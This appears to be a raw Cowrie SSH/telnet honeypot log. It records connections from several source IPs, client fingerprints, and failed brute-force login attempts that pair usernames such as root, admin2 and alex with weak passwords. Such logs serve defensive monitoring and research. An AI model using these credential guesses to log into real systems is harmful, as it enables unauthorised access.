{"eventid":"cowrie.session.connect","src_ip":"192.155.90.118","src_port":19678,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a09555dbcb2","protocol":"ssh","message":"New connection: 192.155.90.118:19678 (10.17.0.5:22) [session: 9a09555dbcb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:23.132060Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xc0\\xb83\\xcb=\u001d\\xb8\\xc5\\xf7\u0018\\x84\\xfeIw\u001fj\u007f\\xf3\\xc1\\xd5G(\\x9e\\xc1\\xb5]\u0017\\xc1z\u0014\\xf8\\xee\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xc0\\xb83\\xcb=\u001d\\xb8\\xc5\\xf7\u0018\\x84\\xfeIw\u001fj\u007f\\xf3\\xc1\\xd5G(\\x9e\\xc1\\xb5]\u0017\\xc1z\u0014\\xf8\\xee\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:23.137378Z","src_ip":"192.155.90.118","session":"9a09555dbcb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:23.139994Z","src_ip":"192.155.90.118","session":"9a09555dbcb2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:23.234205Z","src_ip":"91.92.42.133","session":"27acb71d8378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:23.237024Z","src_ip":"91.92.42.133","session":"27acb71d8378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:23.785791Z","src_ip":"91.92.42.133","session":"27acb71d8378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.87727093696594,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:24.642791Z","src_ip":"172.81.62.90","session":"0da632c87a61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:24.899937Z","src_ip":"91.92.42.133","session":"27acb71d8378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54052,"dst_ip":"159.203.135.109","dst_port":22,"session":"470d9809a2b8","protocol":"ssh","message":"New connection: 91.92.40.171:54052 (159.203.135.109:22) [session: 470d9809a2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:27.571815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:27.668698Z","src_ip":"91.92.40.171","session":"470d9809a2b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:28.111587Z","src_ip":"91.92.40.171","session":"470d9809a2b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36586,"dst_ip":"159.203.135.109","dst_port":22,"session":"36bb7c4e5102","protocol":"ssh","message":"New connection: 91.92.42.133:36586 (159.203.135.109:22) [session: 36bb7c4e5102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:28.721751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:28.867213Z","src_ip":"91.92.42.133","session":"36bb7c4e5102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:28.872458Z","src_ip":"91.92.42.133","session":"36bb7c4e5102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"123456","message":"login attempt [username/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:29.588724Z","src_ip":"91.92.42.133","session":"36bb7c4e5102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:30.720396Z","src_ip":"91.92.42.133","session":"36bb7c4e5102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prem","password":"12345","message":"login attempt [prem/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:31.258563Z","src_ip":"91.92.40.171","session":"470d9809a2b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":50078,"dst_ip":"10.17.0.5","dst_port":22,"session":"c333688234c4","protocol":"ssh","message":"New connection: 45.140.193.156:50078 (10.17.0.5:22) [session: c333688234c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:32.074090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:32.077811Z","src_ip":"45.140.193.156","session":"c333688234c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:32.191154Z","src_ip":"45.140.193.156","session":"c333688234c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyber","password":"cyber","message":"login attempt [cyber/cyber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:32.679745Z","src_ip":"45.140.193.156","session":"c333688234c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:32.856696Z","src_ip":"91.92.40.171","session":"470d9809a2b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:33.795055Z","src_ip":"45.140.193.156","session":"c333688234c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54128,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ed9ecedc118","protocol":"ssh","message":"New connection: 91.92.40.171:54128 (159.203.135.109:22) [session: 6ed9ecedc118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:34.249510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:34.471043Z","src_ip":"91.92.40.171","session":"6ed9ecedc118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56360,"dst_ip":"159.203.135.109","dst_port":22,"session":"4df3bd013e70","protocol":"ssh","message":"New connection: 91.92.42.133:56360 (159.203.135.109:22) [session: 4df3bd013e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:34.918563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:35.219181Z","src_ip":"91.92.42.133","session":"4df3bd013e70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:35.222722Z","src_ip":"91.92.42.133","session":"4df3bd013e70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:35.290935Z","src_ip":"91.92.40.171","session":"6ed9ecedc118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"12345678","message":"login attempt [alex/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:35.710180Z","src_ip":"91.92.42.133","session":"4df3bd013e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:36.793762Z","src_ip":"91.92.42.133","session":"4df3bd013e70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":39434,"dst_ip":"159.203.135.109","dst_port":22,"session":"0001f87e0fa4","protocol":"ssh","message":"New connection: 91.92.40.171:39434 (159.203.135.109:22) [session: 0001f87e0fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:38.154522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:38.358290Z","src_ip":"91.92.40.171","session":"0001f87e0fa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:38.361758Z","src_ip":"91.92.40.171","session":"0001f87e0fa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:39.353045Z","src_ip":"91.92.40.171","session":"0001f87e0fa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"1234","message":"login attempt [admin2/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:39.383037Z","src_ip":"91.92.40.171","session":"6ed9ecedc118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:40.576635Z","src_ip":"91.92.40.171","session":"0001f87e0fa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56426,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae7155890e88","protocol":"ssh","message":"New connection: 91.92.42.133:56426 (159.203.135.109:22) [session: ae7155890e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:40.920819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:41.260263Z","src_ip":"91.92.42.133","session":"ae7155890e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:41.263942Z","src_ip":"91.92.42.133","session":"ae7155890e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:41.273605Z","src_ip":"91.92.40.171","session":"6ed9ecedc118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":8178,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c114e4abc61","protocol":"ssh","message":"New connection: 117.121.214.50:8178 (10.17.0.5:22) [session: 5c114e4abc61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:41.678712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:41.682817Z","src_ip":"117.121.214.50","session":"5c114e4abc61","protocol":"ssh"}
